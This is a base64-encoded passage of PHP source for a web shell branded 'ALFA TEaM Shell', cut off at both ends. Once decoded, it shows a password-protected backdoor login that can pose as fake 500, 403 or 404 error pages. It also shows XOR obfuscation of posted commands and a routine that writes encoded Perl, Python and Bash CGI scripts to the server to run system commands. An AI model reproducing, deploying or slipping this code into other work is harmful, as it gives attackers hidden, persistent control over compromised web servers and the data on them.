gkJCQkiaW5wdXRbdHlwZT10ZXh0XSx0ZXh0YXJlYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJpbnB1dF9ib3g6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiaW5wdXRbdHlwZT10ZXh0XTpob3Zlcix0ZXh0YXJlYTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkic2VsZWN0X2JveF9ib3JkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkic2VsZWN0IiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsDQoJCQkpDQoJCSksDQoJCSJzZWxlY3RfYm94X3RleHQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRUUiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkic2VsZWN0IiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJInNlbGVjdF9ib3g6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkic2VsZWN0OmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJidXR0b25fYm9yZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJImlucHV0W3R5cGU9c3VibWl0XSwuYnV0dG9uLCNhZGR1cCIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImJ1dHRvbjpob3ZlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSJpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MnB4IHNvbGlkIHtjb2xvcn07IiwNCgkJCQkiLmJ1dHRvbjpob3ZlciwjYWRkdXA6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm91dHB1dHNfdGV4dCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWwxIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm91dHB1dHNfYm9yZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5tbDEiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJ1cGxvYWRlcl9ib3JkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmlucHV0ZmlsZSIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkidXBsb2FkZXJfYmFja2dyb3VuZCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaW5wdXRmaWxlIHN0cm9uZyIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJInVwbG9hZGVyX3RleHRfcmlnaHQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkidXBsb2FkZXJfdGV4dF9sZWZ0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5pbnB1dGZpbGUgc3BhbiIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJ1cGxvYWRlcjpob3ZlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaW5wdXRmaWxlOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJ1cGxvYWRlcl9wcm9ncmVzc19iYXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNmZjAwMDAiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiI3VwX2JhciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm15c3FsX3RhYmxlcyIgPT4gIiMwMEZGMDAiLA0KCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwNCgkJImNvcHlyaWdodCIgPT4gIiNmZjAwMDAiLA0KCQkic2Nyb2xsYmFyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkic2Nyb2xsYmFyX2JhY2tncm91bmQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiKjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2siID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQopOw0KJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKTsNCiRjb25maWcgPSBhcnJheSgnQWxmYVVzZXInID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXSwnQWxmYVBhc3MnID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXSwnQWxmYVByb3RlY3RTaGVsbCcgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXSwnQWxmYUxvZ2luUGFnZScgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddKTsNCkBzZXNzaW9uX3N0YXJ0KCk7DQppZigkY29uZmlnWydBbGZhUHJvdGVjdFNoZWxsJ10pew0KJFNFUlZFUl9TSUcgPSAoaXNzZXQoJF9TRVJWRVJbIlNFUlZFUl9TSUdOQVRVUkUiXSk/JF9TRVJWRVJbIlNFUlZFUl9TSUdOQVRVUkUiXToiIik7DQokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsNCmlmKCRjb25maWdbJ0FsZmFMb2dpblBhZ2UnXSA9PSAnZ3VpJyl7DQppZihAJF9TRVNTSU9OWyJBbGZhVXNlciJdICE9ICRjb25maWdbJ0FsZmFVc2VyJ10gJiYgQCRfU0VTU0lPTlsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsNCmlmKEAkX1BPU1RbInVzcm5hbWUiXT09JGNvbmZpZ1snQWxmYVVzZXInXSAmJiBAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pew0KQCRfU0VTU0lPTlsiQWxmYVVzZXIiXSA9ICRjb25maWdbJ0FsZmFVc2VyJ107DQpAJF9TRVNTSU9OWyJBbGZhUGFzcyJdID0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKTsNCkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsNCn0NCmVjaG8gJw0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kOiBibGFjazt9DQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47IHJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9DQojbG9naW5ib3ggdGQgeyBib3JkZXItcmFkaXVzOjVweDsgZm9udC1zaXplOjExcHg7IH0NCjwvc3R5bGU+DQo8dGl0bGU+fiBBTEZBIFRFYU0gU2hlbGwtdicuX19BTEZBX1ZFUlNJT05fXy4nIH48L3RpdGxlPjxjZW50ZXI+DQo8Y2VudGVyPjxpbWcgc3R5bGU9ImJvcmRlci1yYWRpdXM6MTAwcHg7IiB3aWR0aD0iNTAwIiBoZWlnaHQ9IjI1MCIgYWx0PSIiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L2NlbnRlcj4NCjxkaXYgaWQ9bG9naW5ib3g+PHA+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT4NCjxjZW50ZXI+PHRhYmxlIGNlbGxwYWRkaW5nPVwnMlwnIGNlbGxzcGFjaW5nPVwnMFwnIGJvcmRlcj1cJzBcJyBpZD1cJ2FwX3RhYmxlXCc+DQo8dHI+PHRkIGJnY29sb3I9ImdyZWVuIj48dGFibGUgY2VsbHBhZGRpbmc9XCcwXCcgY2VsbHNwYWNpbmc9XCcwXCcgYm9yZGVyPVwnMFwnIHdpZHRoPVwnMTAwJVwnPjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iIGFsaWduPWNlbnRlciBzdHlsZT0icGFkZGluZzoyO3BhZGRpbmctYm90dG9tOjQiPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSIgc2l6ZT0tMSBjb2xvcj0id2hpdGUiIGZhY2U9InZlcmRhbmEsYXJpYWwiPjxiPn4gQUxGQSBURWFNIFNoZWxsLXYnLl9fQUxGQV9WRVJTSU9OX18uJyB+PC9iPjwvZm9udD48L3RoPjwvdHI+DQo8dHI+PHRkIGJnY29sb3I9ImJsYWNrIiBzdHlsZT0icGFkZGluZzo1Ij4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJsb2dpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJoaWRlIiB2YWx1ZT0iIj4NCjxjZW50ZXI+PHRhYmxlPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iZ3JlZW4iIGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+TG9naW46PC9mb250PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0idXNybmFtZSIgcGxhY2Vob2xkZXI9InVzZXJuYW1lIiBvbmZvY3VzPSJpZiAodGhpcy52YWx1ZSA9PSBcJ3VzZXJuYW1lXCcpe3RoaXMudmFsdWUgPSBcJ1wnO30iPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9ImdyZWVuIiBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPlBhc3N3b3JkOjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIHNpemU9IjMwIiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9InBhc3N3b3JkIiBvbmZvY3VzPSJpZiAodGhpcy52YWx1ZSA9PSBcJ3Bhc3N3b3JkXCcpIHRoaXMudmFsdWUgPSBcJ1wnOyI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPg0KPC9kaXY+PGJyIC8+PC9jZW50ZXI+JzsNCmV4aXQ7DQp9DQp9ZWxzZWlmKCRjb25maWdbJ0FsZmFMb2dpblBhZ2UnXT09JzUwMCcpew0KaWYoQCRfU0VTU0lPTlsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsNCmlmKEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7DQpAJF9TRVNTSU9OWyJBbGZhVXNlciJdID0gJGNvbmZpZ1snQWxmYVVzZXInXTsNCkAkX1NFU1NJT05bIkFsZmFQYXNzIl0gPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pOw0KaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7DQp9DQplY2hvICc8aHRtbD48aGVhZD48dGl0bGU+NTAwIEludGVybmFsIFNlcnZlciBFcnJvcjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5JbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L2gxPjxwPlRoZSBzZXJ2ZXIgZW5jb3VudGVyZWQgYW4gaW50ZXJuYWwgZXJyb3Igb3IgbWlzY29uZmlndXJhdGlvbiBhbmQgd2FzIHVuYWJsZSB0byBjb21wbGV0ZSB5b3VyIHJlcXVlc3QuPC9wPjxwPlBsZWFzZSBjb250YWN0IHRoZSBzZXJ2ZXIgYWRtaW5pc3RyYXRvciwgJy4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uJyBhbmQgaW5mb3JtIHRoZW0gb2YgdGhlIHRpbWUgdGhlIGVycm9yIG9jY3VycmVkLCBhbmQgYW55dGhpbmcgeW91IG1pZ2h0IGhhdmUgZG9uZSB0aGF0IG1heSBoYXZlIGNhdXNlZCB0aGUgZXJyb3IuPC9wPjxwPk1vcmUgaW5mb3JtYXRpb24gYWJvdXQgdGhpcyBlcnJvciBtYXkgYmUgYXZhaWxhYmxlIGluIHRoZSBzZXJ2ZXIgZXJyb3IgbG9nLjwvcD48aHI+Jy4kU0VSVkVSX1NJRy4nPC9ib2R5PjwvaHRtbD4nLiRFZm9ybTsNCmV4aXQ7DQp9DQp9ZWxzZWlmKCRjb25maWdbJ0FsZmFMb2dpblBhZ2UnXT09JzQwMycpew0KaWYoQCRfU0VTU0lPTlsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsNCmlmKEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7DQpAJF9TRVNTSU9OWyJBbGZhVXNlciJdID0gJGNvbmZpZ1snQWxmYVVzZXInXTsNCkAkX1NFU1NJT05bIkFsZmFQYXNzIl0gPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pOw0KaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7DQp9DQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07DQpleGl0Ow0KfQ0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDQnKXsNCmlmKEAkX1NFU1NJT05bIkFsZmFQYXNzIl0gIT0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSl7DQppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pew0KQCRfU0VTU0lPTlsiQWxmYVVzZXIiXSA9ICRjb25maWdbJ0FsZmFVc2VyJ107DQpAJF9TRVNTSU9OWyJBbGZhUGFzcyJdID0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKTsNCmhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KfQ0KZWNobyAiPHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjxoMT5Ob3QgRm91bmQ8L2gxPjxwPlRoZSByZXF1ZXN0ZWQgVVJMICIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjxicj48YnI+QWRkaXRpb25hbGx5LCBhIDQwNCBOb3QgRm91bmQgZXJyb3Igd2FzIGVuY291bnRlcmVkIHdoaWxlIHRyeWluZyB0byB1c2UgYW4gRXJyb3JEb2N1bWVudCB0byBoYW5kbGUgdGhlIHJlcXVlc3QuPC9wPjxocj4iLiRTRVJWRVJfU0lHLiI8L2JvZHk+PC9odG1sPiIuJEVmb3JtOw0KZXhpdDsNCn0NCn0NCn0NCmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyLCAkcHdkKXsNCglpZihfX0FMRkFfUE9TVF9FTkNSWVBUSU9OX18pew0KCQkkcHdkICAgICA9IF9fWlc1amIyUmxjZygkcHdkKTsNCgkJJHN0ciAgICAgPSBfX1pHVmpiMlJsY2coJHN0cik7DQoJCSRlbmNfY2hyID0gIiI7DQoJCSRlbmNfc3RyID0gIiI7DQoJCSRpICAgICAgID0gMDsNCgkJd2hpbGUgKCRpIDwgc3RybGVuKCRzdHIpKSB7DQoJCQlmb3IgKCRqID0gMDsgJGogPCBzdHJsZW4oJHB3ZCk7ICRqKyspIHsNCgkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7DQoJCQkJJGVuY19zdHIgLj0gJGVuY19jaHI7DQoJCQkJJGkrKzsNCgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQ0KCQkJCQlicmVhazsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gX19aR1ZqYjJSbGNnKCRlbmNfc3RyKTsNCgl9ZWxzZXsNCgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIF9BbGZhU2VjcmV0S2V5KCl7DQoJaWYoIWlzc2V0KCRfU0VTU0lPTlsiQWxmYVNlY3JldEtleSJdKSl7DQoJCSRfU0VTU0lPTlsiQWxmYVNlY3JldEtleSJdID0gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQoJfQ0KCXJldHVybiAkX1NFU1NJT05bIkFsZmFTZWNyZXRLZXkiXTsNCn0NCmZ1bmN0aW9uIGFsZmFfZ2V0Q29sb3IoJHRhcmdldCl7DQoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsNCgkJcmV0dXJuICRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF07DQoJfWVsc2V7DQoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXVskdGFyZ2V0XTsNCgkJaWYoaXNfYXJyYXkoJHRhcmdldCkpew0KCQkJcmV0dXJuICR0YXJnZXRbImtleV9jb2xvciJdOw0KCQl9ZWxzZXsNCgkJCXJldHVybiAkdGFyZ2V0Ow0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gYWxmYUNzc0xvYWRDb2xvcnMoKXsNCgkkY3NzID0gIiI7DQoJZm9yZWFjaCgkR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YWx1ZSl7DQoJCWlmKCFpc19hcnJheSgkdmFsdWUpKXsNCgkJCSR2YWx1ZSA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7DQoJCQkkY3NzIC49ICIueyRrZXl9e2NvbG9yOiB7JHZhbHVlfTt9IjsNCgkJfWVsc2V7DQoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsNCgkJCQlmb3JlYWNoKCR2YWx1ZVsibXVsdGlfc2VsZWN0b3IiXSBhcyAkayA9PiAkdil7DQoJCQkJCSRjb2xvciA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7DQoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb3IsICR2KTsNCgkJCQkJJGNzcyAuPSAgJGsuInsiLiRjb2RlLiJ9IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRjc3M7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpew0KZnVuY3Rpb24gQWxmYU51bSgpew0KJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7DQokYWxmYXggPSBhcnJheSgpOw0KJGZpbmQgPSBhcnJheSgpOw0KZm9yKCRpPTE7JGk8PTEwOyRpKyspew0KJGFsZmF4W10gPSAkaTsNCn0NCmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7DQokZmluZFtdID0gJGFyZzsNCn0NCmVjaG8gJzxzY3JpcHQ+JzsNCmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsNCmlmKGluX2FycmF5KCRhbGZhLCRmaW5kKSkNCmNvbnRpbnVlOw0KZWNobyAnYWxmYScuJGFsZmEuIl89IjsNCn0NCmVjaG8gJyIiPC9zY3JpcHQ+JzsNCn19DQpmdW5jdGlvbiBfYWxmYV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIpew0KCWlmKGlzc2V0KCRfU0VTU0lPTlsiYWxmYWNnaWFwaV9tb2RlIl0pKXsNCgkJcmV0dXJuICIiOw0KCX0NCgkkY21kX3B1cmUgPSAkY21kOw0KCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCgkkaXNfc29ja2V0ID0gZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKTsNCglpZigkaXNfY3VybHx8JGlzX3NvY2tldCl7DQoJCSRyZWNyZWF0ZSA9IGZhbHNlOw0KCQlpZihpc3NldCgkX1NFU1NJT05bImFsZmFjZ2lhcGkiXSkpew0KCQkJaWYoIUBmaWxlX2V4aXN0cygiYWxmYWNnaWFwaS8iLiRfU0VTU0lPTlsiYWxmYWNnaWFwaSJdLiIuYWxmYSIpKXsNCgkJCQkkcmVjcmVhdGUgPSB0cnVlOw0KCQkJCSRsYW5nID0gJF9TRVNTSU9OWyJhbGZhY2dpYXBpIl07DQoJCQl9DQoJCX0NCgkJaWYoIWlzc2V0KCRfU0VTU0lPTlsiYWxmYWNnaWFwaSJdKXx8JHJlY3JlYXRlKXsNCgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOw0KCQkJJHBlcmwgPSAnalpGUlQ4SXdGSVhmL1JYWE9xV05zS294UGxBd1JsaUVSSWJLOUVVTUdkc0ZHcll5dDJJa3kvenRka01sSmo3NGNwS2VlODUzazk2RGZiN09VajZWaWllWVJnRFE2RmRPdEFyOGlFOTlGY1pTN2EwemhFRi80RFNiMTM2R0YrY2lTYVhTUURvcnBWSHBodDRrMkFTTjc1b3ZkQnlOMVZnUklXZlVjdHludlBiZzNEODZJMjh5Y0x6ZXNGc3JBRitCM0ExSEhtRjV2QUZxeVRwWVM5d1lmZk1qbzFJeGthSWYwcEhYN2J1VllhUmlkWWF1NTdqZTVOWnhiN3hlcldEaVNpcG9RNVpFVWxOK3hML3FzNVVCQkF2ekFIb0N0ZzNXZ2JGek0zdTI1QXUwUHlEajQyTU9mQzdvYmpmYmtkcGJVcG11d3hrVFpXaGJPNlMyelhqaUIwdEtBbEtIQmI1VDY1UXhQa2RSUXY2Umtpb3ZlUVhZYlNEakV3SnlCalRFbVZRWTBwOHBZNytUSlZ3VTViY2Fsd1J4U0FxV2J5OFJZckFLY1RLdHJ2TTFYMkN3TkFtYnRKSVVMNG5JTnBuR21QNFZyVkRzKzZvdFhoV0s0aE09JzsNCgkJCSRweSA9ICJiWkRCUzhNd0dNWFB5MTlSNjZFdHpoUms3REEzTDFyeEl0T3QzZ2FqVGI2dHdUUUp5ZGV4SWY3dkpxdk1pUjVDeUh2djkzams4aUx2bk0xcm9YSnp3RVlyZ3ZZd0lRUFJHbTB4WWx1QjlXMS9VVkJWTFNITkNPd1pHUFFwVXpsSHZxUGFEWDFzV0ZjT3hpT3kwYmFOWmdHa2p3SWtYNksyMVJaU1VEdGh0WnA5Skl2aTlhMVlsdXZub255YVB5U1Q1R1crTEpQUGpMQ1dleklVMEMzZ3JwSWRwSWtYRTI4MXdONy9NWVBzYldPRndpaSsxd3BCNFRVZURFd1E5cGczMk1xVlhhbHdZaUkya2E4TDg0LzVmakd0eHlNT1RITklqM1haVlR3MUZ1NWlNbUNOa0h6dGtBczFqRTRQM2FGZm9oMDEyb0M2U2YvV3REekxmdEdVU2UzQ0J3NHN1RTRHL3J5T1dxaDRlbzRFOGNUMGEzdVNPclRDL0tqeE5EK08vUUk9IjsNCgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVRjSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MGJ5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3OCt6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgzUm1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkRvSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsNCgkJCWlmKCRsYW5nPT0icGVybCIpJHNvdXJjZSA9ICRwZXJsO2Vsc2VpZigkbGFuZz